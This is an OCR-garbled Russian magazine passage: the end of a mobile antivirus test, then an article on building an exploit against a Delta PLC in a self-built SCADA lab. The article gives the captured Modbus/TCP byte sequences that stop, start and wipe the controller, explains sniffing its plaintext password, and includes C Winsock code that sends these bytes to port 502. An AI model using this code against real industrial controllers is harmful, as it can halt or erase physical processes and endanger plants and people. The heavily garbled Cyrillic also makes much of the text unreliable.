Mobile Security & Antivirus (Avast Software) 












360 Mobile Security 












Lookout Mobile Securitv 













nOJ1E3HblE yTI/IJIMTbl 



B npn/ioxeHHM k xypHa/iy AOCTyneH A>KeHT/ibMeHCKHM Ha6op Ana noncKa bm- 
pycHoro KOAa b Android-npmioKeHMflx: 



• dex2jar 

• apktool 

• jd-gu 



AeKOMnnnqTOp dex-fyawnoB b 6atiT-KOA Java; 
nporpaMMa a^^ KOMnneKCHoro aHa/iM3a APK-cfcaw/iOB; 
AeKOMni/i/iHTop 6aPiT-KOAa Java b wcxoAHbifi koa- 



Pa3Mep He wvieeT 3HaneHiifl 



Kto-to MoxeT npeAnonoxnTb, hto neivi 6ojibiue MecTa Ha AncKe 3aHwviaeT aHTHBi/ipyc, 
TeM o6LunpHee ero 6a3a cumaTyp m TeM oh acfx^eKTMBHee. Ho oto HeBepHO. Jli/iAepbi 
Hawero TGCTa Tpe6yK)T oiu,yTMMO MeHbiue naivmTn, neivi ayTcawAepbi (360 Mobile ncnojib- 
3yeT ceTeByjo 6a3y cwmaTyp). 3HaHHT nv\ 3to, hto ohm «3HaiOT» MeHbuie MOAnct>nKau,nki 
aHTMBupycoB, m 3a cneT nero TorAa AOCTi/iraeTca acfx^eKTMBHOCTb? 
KaK 9\ yxe nwcana b CTaTbe npo ycipoPiCTBO Android-Man Bapw, ony6nnKOBaHHOM b anpe/ib- 
ckom HOMepe, 99,9% BwpycoB nBnn\ojcn He3HaHMTenbHO MOAn<t>nu.npoBaHHoPi win He- 
MOAnctJUUMpoBaHHOM Konweii 0,1% vHMKa/ibHbix co6paTbeB, KOTopbie, b cbokd OMepeAb, 
mmgkdt ivtewy co6om MHoro o6i±],ero. TaK hto xopowaa 6a3a cumaTyp AO/ixHa 6biTb kom- 
naKTHOM m He coAepxaTb Ay6nnpyK)iu,eMCfi MHc^opMaunM. 

TaKxe MMeeT 3HaneHMe apxHTeKTypa 6a3bi. HeM KanecTBeHHee m TanamrinBee OHa CAe- 
jiaHa, TeM MeHbuie MecTa 3aHHMaiOT AaHHbie n 6bicTpee npowcxoAHT CKaHMpoBaHMe. 
B o6Lu,eM, npw Bbi6ope aHTHBHpycoB ctomt pyKOBOACTBOBaTbca pe3ynbTaTaMM He3aBM- 
cuMbix TecTMpOBaHMM (HanpHMep, HaniMx), a He pa3MepoM c6opkh. 




KaK BMAniiib, pe3ynbTaTbi He TaKne BAOXHOBJiafomne, KaK y npeAbiAymero TecTa. 

ripOTMB npOrpaMM C VHUKa/lbHblM HCXOAHblM KOAOM, He HMeiOlAMX HBHblX npn- 
3H3KOB BHpyca, HO npHHOCflLU,HX npM 3TOM BpeA nonb30BaTe/iK), aHTMMa/lBapb 

p,nn Android Ha HacTOflmwM momoht npaKTHsecKM 6eccmibHa. Ho ot onycTOiiieHMfl 
TBoero cneTa nnaTHbiMM 3C3M3CKaMM c 6o/ibwo£i BepoaTHOCTbio 3am,HTMT, Aaxe 
ecnn Tbi CTa/i nepBbiM HOCHTe/ieM a3hhom MOAnctwKauwn Bwpyca. Ma/iBapi/i Ta- 
Koro Tuna pa3Benocb cmnbKO, hto HanwcaTb yHMKa/ibHbiw koa A-na paccbuiKM co- 
06liieHMM AOBO/lbHO CJIOXHO. M eCJlM Tbl 3annflHeiub b anpe/ibCKMM HOMep, to yBM- 



AHLJJb, HTO MaCCOBbie M M3BGCTHbie yrp03bl OHM Jiei~KO HaXOA^T H 06e3Bpe>KMBaK)T. 

A hto KacaeTCfl sbphcti/ikh, to ocTaeTca HaAeflTbca, hto hmkto He CTaHeT nucaTb 
noA Te6a nepcoHa/ibHbiM Bnpyc min HcnbiTbiBaTb Ha TBoeM ycTpowcTBe HOBoe opy- 
>Kne MaccoBoro 3apaxe 






CBOHMH PyKAMH . 

nMLJJEM 3KCI1J101/1T nPOMblWJIEHHOtf ABTOMATMKM 




Bee Hanajiocb c toto, hto b HawM py km nona/i 
nJIK Delta DVP-14SS211R. I/I 3aBepTe^ocb... 
Hy a hto fle/iaTb xaKepy c nporpaMMi/ipyeMbiM 
nori/iHecKi/iM KOHTpon/iepOM? FIcHoe fle/io, v\c- 
cjieAOBaTb 1/1 nonpo6oBaTb HanMcaTb eKcnnoi/iT. 
B oflHOM M3 npoLu/ibix HOMepOB Mbi paccKa- 
3biBa/iM npo yn3Bi/i mocti/1 nporpaMMMpyeMbix 
nori/inecKHx KOHTponnepOB, KOTopbie oneHb 

LUHpOKO npHMeH^fOTC?! B CI/ICTeMaX aBTOMaTM- 

3au,nn npoi/i3BOflCTBeHHbix npoueccoB, i/i npo 
caMbiM i/i3BecTHbii/i Tpo^H arm TaKoro poaa ci/i- 
CTeM — StuxNet. CeroAH^ Mbi npoao/ixi/iM i/ic- 
c/ieAOBaTb 3Ty TeMy v\ nonbrraeMca HanMcaTb 

HeSOJlbLUOM 3KCn/10MT, C nOMOLU,biO KOToporo 

moxho BMeiuaTbc^ b npo 1/13 BOflCTBeHHbi i/i npo- 
u,ecc, Haxofl£Lu,i/ii/iC£ noflynpaB/ieHMeM jiorMHe- 
CKoro KOHTpo/iJiepa. 



EBreHnii flpo6oTyH 

drobotun@xakep.ru 



rOTOBMM MCnblTATEJIbHblM nOJlMTOH 

Cpa3y oroBopracb, hto yfl3BHMOCTM, paccMaTpMBaeivibie b CTaTbe, xapaKTepHbi npaicn/i- 
necKM nnn Bcex tmiiob I1J1K, a He mribKO A-na n/lK Delta DVP-14SS21 1 R, KOTopbiM Mbi 
6yAeM MCC/ieAOBaTb. M sto He orpexn KaKoro-TO KOHKpeTHoro npon3BOAHTe/ifl, a CBoero 
poAa cJ^yHAaMeHTa^bHaa npo6neMa — HacneAne toi~o BpeMeHu, KorAa Ha nepBbiM nriaH 
BbixoAn^a npocTOTa pea.ni/i3a141/11/i m SKOHOMi/inecKafl ue^ecoo6pa3HOCTb, a BOBce He hh- 
qbopMauMOHHaa 6e3onacHOCTb n yrpo3a HecaHKu,noHi/ipoBaHHoro BMewaTejibCTBa. 

MTaK, AJ151 Hana/ia CMOAe/inpyeM Ma/ieHbKyio SCADA-cucTeMy H3 OAHoro n/lK n He- 
CKO/ibKnx pa6oHnx MecT. Haiua «npoi/i3BOACTBeHHaa jii/ihhh» 6yAeT cocTom~b 1/13 AByx eM- 
KOCTeM, oxjia>KAaiom,eM KonoHHbi, Hacoca v\ 33abm>kkm. 3aAana jii/ihi/ii/i — nepeiOHi/iBaTb 

XMAKOCTb M3 OAHOM eMKOCTH B APyryKD Hepe3 OXnaXAaiOLAyK) KOJlOHHy. 

A-na ynpaB/ieHna BceM stmm xo3^mctbom Ha3HannM AByx onepa~ropOB (oahh BK/iioHa- 
eT i/i BbiK/iKDHaeT Hacoc, ApyroM OTKpbiBaeT mii/i 3aKpbiBaeT 3aABMXKy) m OAHoro AnpeK- 
Topa (o, 9\ 6yAy AnpeKTopoM. — ripnivi. peA-)> KOTopbiM Ha6/iK)AaeT 3a BceMi/i aomctbhh- 
mi/i CMCTeMbi. Ka>KAOMy M3 3tmx ni/iu, o6opyAyeM no OAHOMy APM. CaMy SCADA-cucTeiviy 
pj]9\ KaxAoro APM Mbi Hani/iiueM b cpeAe Trace Mode LuecToPi Bepcun (6bi/ia Bbi6paHa 
noTOMy, hto 6ecnnaTHO AOCTynHa b 6a30BOM Bepcun h He HyxAaeTca b Aono/iHi/iTe/ib- 
Hbix i/icno/iHfleMbix MOAy-nax jinn OT/iaAOHHoro nycKa n npoBepKi/i CMCTeMbi). I1oapo6ho- 
cti/i HanncaHi/m caMOM SCADA Mbi onycTi/iM, m6o Ha sto HyxHO AOCTaTOHHO MHoro MecTa 
b xypHane, KOTOpoe, KaK o6biHHO, Ha Bee 3onoTa, Aa n ocHOBHaa ue/ib nccneAOBaHHH 
BOBce He pa3pa6oTKa h HanncaHne SCADA-ci/iCTeM. 

floMMMO C03AaHnq caMOM SCADA, eme Heo6xoAHMO Hani/icaTb nporpaMMy a^h fl/lK. 



y Hac mmgkdtch ABa Mcno/iHMTe/ibHbix ycTpowcTBa (Hacoc v\ 3aflBMXKa), cooTBeTCTBeHHO, 
Ha n/lK Mbi 3aAGMCTByGM ABa BbixoAaYO h Y1 (BbixoAbi Ha Bcex n/lK, KaK npaBn.no, 060- 
3HanaK)TCfl 6ykbom Y, h Ka>KAbiM BbixoA mmggt cbom HOMep). Ha BbixoAYO Mbi noBecuM Ha- 
coc, a Ha BbixoAYI — 33ABM>KKy. BwxoaYO ynpaBJiHCTCH BHyTpeHHMMM pe/ie KOHTpo/uicpa 

MO (BK/lKDHGHkie) M M1 (BblKJUOHGHMG), a BblXOAYI — pCJlG M2 (BKJIIOHGHHG) M M3 (BblK/lKD- 

hghmg). Ha H3biK6 IL (cnncoK MHCTpyKunPi) 3to BbimaAUT T3KMM o6pa30M: 

000000 LP M0 

000001 OR Y0 

000002 AN I Ml 

000003 OUT Y0 

000004 LD M2 

000005 OR Yl 

000006 AN I Ml 

000007 OUT Yl 

000008 END 



Ha APM oncpaTopa 3aABnxKi/i mmgkdtch abg khoiikm (a/ih OTKpbiBaHna m 3aKpbiBaHi/ifl 

3aABM>KKM) M CMTHa/lbHblM MHAHK3T0P, Ha APM OnGpaTOpa HaCOCa TaiOKG ABG KHOnKM (A-n^ 

nycKa m ocTaHOBa Hacoca) v\ curHa/ibHbiM i/ihahiotop. Ha APM AnpGKTopa BbiBGAGHbi 
n khoi~iki/i ynpaBJiGHMfl 33abm>kkom, m KHonKM ynpaB^GHna HacocoM, a t3k>kg 06a i/ihahio- 
TOpa. KHonKM ynpaB/iGHi/ifl HacocoM CBH3aHbi c bhytpghhhmm pG/io n/lK MO 1/1 M1 (MO — 
«nycK», M1 — «CTon»), curHa/ibHbiM i/iHAHKaTop bk/ikdhghma Hacoca CBH3aH c BbixoAOM 
Y1 . KHonKi/i ynpaB/iGHna 3aABMXKOM CBH3aHbi c bhytpghhhmi/i pg/ig n/lK M2 n M3 (M2 — 

«OTKpblTb», M3 — «3aKpblTb»), CMmanbHblM WHAHIOTOP 3aABM>KKM CBfl3aH C BblXOAOM Y1 
(bcg stu cb9\3\a nponwcbiBafOTCfl b SCADA npn GG npOGKTl/ipOBaHMI/l). 

Bcg Tpn APM m flJlK coGAUHGHbi b CGTb. n/lK Delta DVP-14SS21 1 R hgcgt Ha 6opTy 

TOJlbKO MHTGpcf)GMCbl RS-232 H RS-485 (O HMX MOXGLUb npOHMTaTb Ha BPG3KG) M HG MMGGT 
B03MOXHOCTM npflMOTO BKJllOHGHUfl B EthGmGt-CGTb. flOSTOMy npHLJJJlOCb 3aAGMCTBOBaTb 
AOnO/IHMTGJlbHblM AGB3MC nOA H33BaHHGM IFD-9507 — np606pa30BaT6Jlb MHTGpcJ)GMCOB 

M3 RS-485 b Ethernet. IIomhmo tpgx APM o6ony>KHBaiOLH6ro nopcoHa/ia, npeAYCMOTpwvi 
oaho TGXHO/iori/iHGCKOG pa6oHGG mgcto, Ha KOTopoM ycTaHOB/iGH cocfrr i\n?\ nporpaM- 
MMpOBaHM^ n/lK (b HaiuGM Gnynae sto WPLSoft, OAHa H3 nporpaMM, cneu.na.nbHO o6y- 

HGHHblX An^ pa60Tbl C n/lK Delta). 3T0 MGCTO B LUTaTHOM PGXMMG 0yHKU,MOHMpOBaHMfl 

SCADA-cucTGMbi hg 3aAGMCTBOBaHO n onyxi/iT f\nn o6hobjighm« npOLUMBKM fl/lK. 



EMKOCTb N2l 





PUC. 1. CxeMa CMOfle/lMpOBaHHOpi «npOW3BO,qCTBeHHo£l JlHHHk1» 




Pwc. 2. Hm3lumm ypoBeHb 
ynpaBJieHun HaweM «npo- 

H3B0flCTBeHH0M Jl M H H M » 

(n/lK, 6.noK nuTaHun v\ npe- 
o6pa30Baie^b WHTepc^ekica] 



MLUl EM YSI3BMM0CTI1 

B daTbe «SCADA noA npnu,e.noM» (][ HOMep 7 3a 201 1 rofl) 6bma onucaHa y^3BMMOCTb, 
xapaKTepHaa A-rm 6anbLuwHCTBa n/lK, a hmchho B03MO>KHOCTb nepeBOAa n/IK b pe- 
xmm listen only. 3tot pexi/iM no3BO.rmeT BbiBecn/i n/lK M3 npou,ecca o6pa6o~n<n KOMaHA 
m ynpaB/ieHua, hto npMBeAGT k ocTaHOBKG TexHOJiorkinecKoro npou,ecca b ue/iOM. Ha mho- 
rwx n/lK MMeeTCH nepeicniOHaTe/ib RUN/STOP (oh BbiAe/ieH Ha c|)OTorpac|)nn n/lK), koto- 
pbiw no3BO/meT 3to Ae/iaTb annapaTHO (pa3yMee~rcfl, pj]9\ 3Toro HyxeH cJdi/i3mhgckmm ao- 
CTyn k caMOMy n/lK). KpOMe 3Toro, moxho nepeBecTM n/lK b pexnM listen only, o~mpaBHB 
Ha n/IK onpeAe-neHHyio nooneAOBaTe/ibHOCTb KOMaHA (a sto, iok Tbi caM noHMMaeuib, 
yxe no3BO/iMT yAa/ieHHO BMewaTbCfl b npou,ecc ynpaB/ieHkifl). 

Bot 3Ty noc/ieAOBaTe/ibHOCTb kom3ha mn h nonbuaeivica HaMTM jnr\9\ Haiuero n/IK Delta. 
IIomhmo 3Toro, nonpo6yeM nepexBaTMTb napo/ib, c noMombK) KOToporo b n/IK 3am,v\u\e- 
Ha OTCMMTbiBaHna ero npoujHBKa, aTaioKe nocMOTpuM, moxhojii/i yAa/ieHHO BOo6m,e no/i- 
HOCTbK) o6Hy/iMTb naivmTb n/IK. 

A-na peujeHnq nocTaB/ieHHbix 33A3H 6yAeM ncno/ib30BaTb LUTaTHoe cpeACTBO p,nn npo- 
rpaMMnpoBaHna n/IK KOMnaHMM Delta Electronics — nporpaMMy WPLSoft i/i lumpoko 1/13- 
BecTHbiPi b y3Knx Kpyrax Wireshark. 

YAaJieHiibm nycK m ocTaHOB I1J1K 

B WPLSoft MMeiOTCfi ABe 3aMenaTe^bHbie KHonoHKM RUN m STOP, KOTopbie KaK pa3 
h npeAHa3HaneHbi A-na ynpaB/ieHMq n/IK b xoAe HanwcaHi/ifl v\ OTjiaAKH ynpaB/mioiu,eM 
nporpaMMbi. 



I~l OAK/1 KDHSGM IIJIK K KOMnblOTepy, yCTaHaB/lMBaeM CBfl3b WPLSoft C nOAK/lKDHGHHblM 

n/lK, 3anycKaeM Wireshark h cmotpmm, hto nocbmaeTca Ha n/lK b MOMeHT HaxaTi/m 3tmx 
KHononeK. flpn HaxaTi/iw khoiikm STOP bmahm noonGAOBaTonbHOCTb M3 12 6aMT, OTnpaB- 
/l^eiviyio Ha n/lK no npoTOKO/iy Modbus/TCP: 

eah 97h 00h 00h 0 0h 0 6h 01h 05 h 0ch 30h 00h 00h 

K HameM paAOCTM, Wireshark c jierKOCTbio pacno3HaeT m pacK/iaAbiBaGT no no/iOHKaivi 
Bee to, hto nepeAaeTca no 3T0My npOTOKony (noApo6HO o hgm HMTaw Ha Bpe3Ke, a ecnn 
Ha ao eLAe 6onee noAPo6HO, to b BMKMneAHn)- MTaK, i/imggm homgp TpaH3aKu.nn — ea97h 

(60055 B AOCflTl/IHHOM BMAe — OH, B npHHU,Mne, M0X6T 6blTb JlK)6blM), l/lABHTMCjDMKaTOp 

npOTOKO/ia — 0, A/inny nepeAaBaeMbix AaHHbix — 6 6am. B nepeAaBaeMbie AanHbie bxo- 
A^t: aApec BeAOMoro ycTpoficTBa — 1 (b HauiGM c/iynae vctpomctbo oaho m ero HOMep 

COOTBeTCTBGHHO paBeH 1 , GOTM HanMCaTb 3AOCb HOJlb, TO KOMaHAa LUMpOKOBeiAaTG/lbHO 
nOMAGT BCGM II/IK, KOTOpbIG BMCHT Ha 3T0M /lMHMI/l), KOA Cj)yHKU,MM — 05 (3anMCb 3H3HG- 

HMq OAHoro cjxnara — Forco Single Coil), aAPGC 3Toro cjxnara 0c30h (3120 b agchtmhhom 
bhag), m ocTaBLunGca ABa 6aPiTa Hy/iGM 03HanaiOT, hto Mbi AaHHbiM cjxnar ncpcBOAMM b Bbi- 

KJIK3HGHHOG COCTOflHUG. 

ripM HaxaTMM KHOnKM RUN Mbl nGpGXBaTHM nOHTM TaKytO XG nOCJIGAOBaTG/lbHOCTb, 
3a MCKJIKDHGHMGM AByX nOCJIGAHMX 6aMT, TaM 6yAGT 3HaH6HH6 ffOOh. TaKOG 3HaHGHMG nG- 
pGBOAUT 0/iar BO BK/1K3HGHHOG COCTOflHHG. 

KHOnKM, n03BO^f1IOLAMG OCTaHaBJIMBaTb H 3anyCKaTb I1J1K, HMGKDTCfl npaKTMHGCKH BO 

bcgx cpGAax pa3pa6oTKn nporpaMM Rnn KOHTpo/incpoB (6g3 hhx npou,GCC Hani/icam/m 
m OT/iaAKM nporpaMM pjin n/lK 6bin 6bi 33TpyAH mtg/i g h ) , a sto 3HannT, hto noACMOTpoTb 

HyXHyiO nOC/IGAOBaTGJlbHOCTb 6aMT MOXHO HG TOJlbKO A/IH n/lK DGlta, KaK 3T0 CAGnajw 
Mbl, HO M A^H KOHTpOJUlGpOB ApyrUX npOM3BOAHTGTIGM. 

flepexeaTbiBaeM napo/ib 

Arm 3aiAMTbi nporpaMMbi, KOTopaa HaxoAHTca b n/lK, ot HGcaHKu,MOHMpOBaHHoro chm- 
TbiBaHMH b HGKOTopbix KOHTponnepax moxho ycTaHaB/iHBaTb napo/ib. flenaeTca sto no- 
cpgactbom bcg tom xg nporpaMMHOM cpGAbi, b kotopom nniuyTCfl nporpaMMbi Ana Kax- 
Aoro KOHKpGTHoro Tuna n /IK. npn stom bo MHorux c/iynaax stot napo/ib hmkomm o6pa30M 

HG LUMCj)pyGTCfl M nopGAaGTCfl no ModbUS/TCP B OTKpblTOM bmag. 

MTaK, npo6yGM. Bbi6npacM onunio 3aiAHTbi nporpaMMbi npw gg 3arpy3KG b n/lK napo- 

J1GM, BBOAUM napOTIb (HT06bl 6blJ10 npOUJ,G GrO OTC/IGAHTb, Mbl BB6J1H HGTblpG 3ar/iaBHblG 

6yKBbi G), cmotpmm b Wiroshark 1/1 bmamm ero b oahom H3 nepe-AaHHbix Ha n/lK noone-AO- 

BaTGJlbHOCTGM 6a\AT\ 

e2h 07h 00h 00h 00h 09h 01h 64h 01h 0bh 04h 47h 47h 47h 47h 

B o6m,6M, Ann Toro HTo6bi co6paTb bcg naponw b cmctgmg, HyxHO npocTO OT/iaB/iMBaTb 
noc/iGAOBaTG/ibHOCTM 01 h, Obh, 04h, v\ MAyiAUG 3a hgm hgthpg 6aCiTa m 6yAyT napo/iGM. 

06HynneM naMfiTb I1J1K ao 3aBOACKMX HacTpoeK 

Rnn 3Toro npuMGHMM cf)yHKumo Format PLC mGmory, 3a6oT/iMBO npoAycMOTpoHHyio co- 
3AaTG/ifi mm WPLSoft (noAo6Hafl cJ)yHKun?i mmggtc^ m b Apyrwx cpGAax pa3pa6oTKM). MTaK, 
Bbi3biBaGM Format PLC momorv. Bbi6noaGM «RGSGt PLC mGmorv (Factory SGttina)». xmgm 



noATBepxAei-ii/ie h cmotpmm b Wireshark. ATaM bhaum aneAytoiAee: 



33h 88h 00h 00h 00h 05h 01h 64h 01h 14h 00h 



llepBbie ABa 6aMTa, KaK Mbi 3HaeM, — sto HOMep TpaH3aKu.nn, 
c/ieAyK)Lii,ne ABa — i/iAeHTncJ)i/iKaTop npoTOKO/ia, Aa-nee ABa 
6afiTa — AnnHacoo6iu,eHMq (b HaiueM anynae A/inHacoo6me- 
hmh 5 6aPiT), noTOM aApec ycTpoPiCTBa, Aa/iee koa cjDyHKu.nn 
(y Hac 3to 64h — ct>yHKi_i,Mfl He onpeAeneHa CTaHAapTOM m pe- 
a^M3yeTca Ha ycMOTpeHwe npow3BOAHTerm) m 3aTeM AaHHbie 
(tpm 6aMTa — 01 h, 14h,00h). 



MO 



M1 



Pe/ie 
«l~lycK 
Hacoca» 



Pe/ie 
«CTon 
Hacoca» 



( YO ) 

BbixOA 

«Hacoc» 



YO 



BbixOA 

«Hacoc» 

M2 



M3 



Pe/ie 

«OTKpblTb 

3aABMXKy» 



Pe/ie 
«3aKpbiTb 
3aABnxKy» 



( Y1 

BbixOA 
«3aABM>KKa» 



) 



Y1 



Bbixofl 
«3aABMXKa» 



END 



Pmc.3. riporpaMMafl/ifl I~1J1 K, HanwcaHHafl Ha H3biKe LD (33biK/iecTHMHHbixflnarpaMM) 
[Bee oneHb npocTO, ABa Bbixo^a m neTbipe pe/ie) 




TexHOJiornnecKoe 
pa6onee MecTO 
(An^oSHOB^eHnPi 
nporpaMMbi 

n/lK, B LUTaTHOM 

pexmvie 192.168.0.8 

padOTbi SCADA 
He Mcno^b3yeTca) 



192.168.0.25 





192.168.0. 



1 27.0.0. 1/8 X 





APM onepaTopa 

3aABM>KKM 



192.168 



APM onepaTopa 
Hacoca 



192.168.0.5 



- n.— L 




APMAnpeKTopa 



Pmc. 7. Tono/iorna HaiueM SCADA-CMCTeMbi 

niiUJEM 3KCni10MT 

OCTaHOBMTb M/1H 06HVJlHTb IIJIK, KaK Tbl y>Ke nOHfl/1, AOBOJlbHO npOCTO. AOCTaTOHHO OT- 

npaBMTb Ha KOHTpo/uiep HyxHyio nocneAOBaTejibHOCTb 6aMT. 

Ajih 3Toro Mbi 6yAeM ncno/ib30BaTb Winsock API, nosTOiviy a^h Hana/ia Hy>KHO noA- 
K/iKDHMTb cooTBeTCTByjoiAMM 3aro/iOBOHHbiM (pawn h 6n6.nl/iOTeKy: 

#include "winsock. h" 

#pragma comment(lib, "ws2_32. lib") 

fla/iee C03AaeM HyxHyjo nocneAOBaTejibHOCTb: 

char BuffPLCOff [12] = {0x32, 0xf6, 0x00, 0x00, *-> 
0x00, 0x06, 0x01, 0x05, 0x0c, 0x30, 0x00, 0x00}; 

HaAeiocb, Tbi y3Ha/i b stom MaccMBe noc/ieAOBaTejibHOCTb Ana nepeBOAa fl/lK b pexHM 
STOP. llepBbie ABa6aMTa, KaKMbiyxe3HaeM, 03HanaiOT homgp TpaH3aKu,nn m MoryT6biTb 

JlK)6blMH. 

Aa/iee Bee npocTO — MHMu,na/in3MpyeM Winsock, co3AaeM coKeT, ycTainaB/iMBaGM co- 
eAUHeHMe v\ nocbinaeM ASHHbie: 

/y_JdHni4na/iM3aunfl Winsock 

WSADATA wsaDataj^ 

WSAStartup(WINSOCK_VERSION, &wsaData) ; 

// Co3AaeM coKeT 
SOCKET Server; 

Server = socket (AF_INET, SOCK_STREAM, <-> 
IPPROTO_IP); 

// npOH3BOAMM MHMUMa/1H3aUMK) CO KeTa 

sockaddr_in ServerAddr; 
ServerAddr . sin_family = AF_INET; 

// Mcno/ib3yeM 502- Pi nopT (cneuna/ibHO 
// A/ifl Modbus/TCP) 
ServerAddr . sin_port = htons(502);_ 
// CiOAa BNiecTO xxx. xxx. xxx. xxx nuiu eM IP-a Apec 
// n/lK (KaK ero y3HaTb - MyTb no3>Ke) 
ServerAddr . sin_addr.S_un.S_addr = inet_addr*-> 
( " xxx . xxx . xxx . xxx " ) ; 
// ycTaHaB^HBaeM coeAHHeHne 
connect ( Server j(LPSOCKADDR) SServer Add r , *-> 
sizeof (ServerAddr ) ) ; 



WARNING 

Bca MH(J)opMaunfl npeAO- 
CTaB/ieHa HcmiiOHmejibHO 
b 03HaK0Mme/ibHbix ue/iax. 
Hh peAaKUMfl, hm aBTOp He 

HeCyT OTBeTCTBeHHOCTM 3a 
/1K)60M B03M0)KHbM Bpefl, 

npuMMHeHHbiM Maiepna^aMM 

A3HH0M CTaTbM. 




Tininir 



/j_jio/iyHaeM yKa3aTe/in Ha noc/ieAOBaTe/ibHOCTM oanT 
char *pBufPLCOff = BuffPLCOff ; 
U_ nepeAaeM flaHHbie 

send(Server, pBuf , sizeof (Buf f PLCOf f ) , 0) ; 



www 



OpurnHa^bHbie Gneun4>M- 
KauuM npoTOKO/ia Modbus 
mo>kho non3ynaTb 3iiecb 



Rnn 4)opMaTi/ipoBaHi/m naM^Tn fl/lK ao 3aBOACKnx HacTpoeK hy>kho co3AaTb t3kom MaccHB: 



char BuffPLCFormat[ll] = {0x32, 0xf6, 0x00, «-. 
0x00, 0x00, 0x05, 0x01, 0x64, 0x01, 0x14, 0x00}; 



rio^HOCTbio Becb 3Kcn/iokiT b BMfle npoeKTa Ha Visual C++. NET moxho HaPiTM Ha dvd.xakep.ru 
no ccbMKe Ana 3toi~o HOMepa xypHa/ia. 



[source GeoiP: unknown] 
[Destination GeoiP: unknown] 
TPan<;mi s<;inri fnnrrnl Prororol . Srr Port ^ eXCW (1271), DSt Port: asa-appl-| 

Transaction Identifier: 60055 
protocol identifier: 0 
Length: 6 

unit Identifier: 1 
i Modbus 

Function Code: write single Coil (5) 
Reference Number: 3120 
Data: 0000 
Padding 



0000 00 18 23 10 aa 34 be 5f 

0010 00 34 01 a8 40 00 80 06 

0020 00 05 04 f7 01 f6 55 71 

0030 fa f 0 81 7f 00 00 

0040 K&Mffi 



f4 6c 33 3b 08 00 45 00 ..#..4._ .13;. .E, 

00 00 cO a8 00 03 cO a8 .4..@ 

fd c2 ee c4 05 01 50 18 uq P. 

E 



ea 97 00 00 00 06 01 05 0c 3 



0 



Puc. 8. (lepexBaMeHHaFi noc/ieflOBaTe/ibHOCTb, no3BO/ifliomafl nepeBec™ fl/lK b pewwM STOP 



[source GeoiP: unknown] 
[Destination GeoiP: unknown] 
a » Transmission control Protocol ) dpc Port \payr outer (1246), Dst Port: asa-ap 



Modbus/TCP 



Transaction Identifier: 64159 
Protocol Identifier: 0 
Length: 6 
unit identifier: 1 
\B Modbus 

Function code: write single coil (5) 
Reference Number: 3120 
Data: ffOO 
Padding 



0000 00 18 2 3 10 aa 34 be 5f 

0010 00 34 01 90 40 00 80 06 

0020 00 05 04 de 01 f6 db Ob 

0030 fa fO 81 7f 00 00 



f4 6c 33 3b 08 00 4 5 00 

00 00 cO a8 00 03 cO a8 

01 49 8a 4f 05 01 50 18 



00 00 00 06 01 05 Oc 3 



■ * ■ ■ - 1 3 j ■ ■ E ■ 

4. .© 

10 P 

....... — - - . ■ ■ 



0040 



Pmc.9. nepexBaneHHaa nocneflOBaTe/ibHOCTb, no3BOJinioinafl nepeBecTM fl/IK b pe>KHM RUN 



PLC Password Setting 



Enter Password (4 Characters) 



Cancel 



Locked 




0 Transmission Control Protocol, Src Port: asa-appl-p 
Q Modbus/TCP 

Transaction Identifier: 57863 
protocol identifier: 0 
Length: 9 

unit identifier: 1 



- Modbus 

Function code: unknown (100) 
Data: 010b0447474747 



be 5f f4 6c 33 3b 00 18 
37 01 20 00 00 ff 06 
01 f6 04 9a bb d3 
* Of 0 0^00 e2 07 
47 47 47] 



23 10 aa 34 08 00 45 0 
39 48 cO a8 00 05 cO a 
04 8e 07 4e e3 c7 50 1 
00 00 00 09 01 64 01 0 



Pmc. 10. nepexBaneHHbm napo/ib«GGGG» 



Starting Nmap 6.46 ( http://nmap.org ) at 2014-03-21 13:26 MocKOBCKoe BpeMA 

( 3HV.9 ) 

NSE: Loaded 110 scr ipts for scanning. 
NSE: Script Pre -scanning. 
Initiating ARP Ping Scan at 13:26 
Scanning 192.168.0.5 [1 port] 

Completed ARP Ping Scan at 13:26, 0.12s elapsed (1 total hosts) 
Initiating Parallel DNS resolution of 1 host, at 13:26 
Completed Parallel DNS resolution of 1 host, at 13:26, 0.01s elapsed 
Initiating SYN Stealth Scan at 13:26 
Scanning 192.168.0.5 [65535 ports] 
Discovered open port 80/tcp on 192.168.0.5 
Discovered open port 44818/tcp on 192.168.0.5 
Discovered open port 20061/tcp on 192.168.0.5 
Discovered open port 20088/tcp on 192.168.0.5 
IDiscovered open port 502/tcp on 192.168.0.5 ] 

Completed 5VN Stealth Scan ai 13:57, 51.l8s elapsed (65535 total ports) 
Initiating Service scan at 13:27 

Puc. 11. OTKpbiTbm 502-m nopT HaycTpoPicTBe c IP-aflpecoM 192.168.0.5 

ATAKA HA «flP0M3B0ACTBEHHyi0 J1MHMK>» 

HacTa.no BpeMH nonpo6oBaTb 3Kcn/iOMT b AO/ie h npoBecTH aiaKy Ha Hamy c TaKi/iM Tpy- 

AOM C03AaHHyK) «npOM3BOACTBGHHyK) J1MHMK)». 

£\r\9\ HaHa/iay3HaeM IP-aApec ri/lK (n/\9\ Toro, HTo6bi ero BCTaBMTb b HyxHoe MecTO skc- 
rmoMTa). KoHenHO, jiyHiue Bcero pnn 3Toro B3flTb cneui/ia/ibHyio cocfrn/iHy Tuna «SCADA-a- 
yAHTop» m/im euie HTO-Hw6yAb noAo6Hoe, ho Bno/iHe mo>kho o6oMTMCb m Nmap'OM. Eonn 

B CnMCKe OTKpblTblX nopTOB Mbl yBMAUM nopT 3a HOMepOM 502, TO MO>KHO He COMHeBaTbCfl 

b npuHaAnexHOCTM 3Toro ycTpoMCTBa. nopT HOMep 502 cneu.iia.nbHO 3ape3epBnpoBaH 
A/ih npOTOKO/ia Modbus/TCP. 

Ranee t3mho BK/iK)HaeMCfl b ceTb m >KAeM HyxHoro MOMeHTa A/m 3anycKa aKcn/iowTa. 
Hnnero He noA03peBaiOLHne onepaTopbi v\ Anpeicrop Ha6/iK)AaK)T 3a «npon3BOACTBOM», 



tslvJ l rvjTdivJ l vi ddikj ihjtcIivJ l MdOUO, u I I\[JDI DctivJ l Vl odiV|JblDclnJ l JdMtii'i^Ny — Vl DAMY 1 nctOUU 

ocTaHaBJWBaeTCfl, 3aABn>KKa 3aKpbiBaeTCfl, v\ Bee o6opyAOBaHkie nepeciaeT pearnpo- 
BaTb Ha opraHbi ynpaBJieHHH. A Bee M3-3a Toro, hto Mbi oTnpaBi/i/ii/i Bcero jwwb 12 6aPn~ 
b HyxHoe BpeMfl i/i b HyxHoe MecTO. 

Comacucb, hto ecnn ocfjopMi/rrb t3kom skciuiomt b BHAe Tpo^Ha, cpa6aTbiBaKDLu,ero 
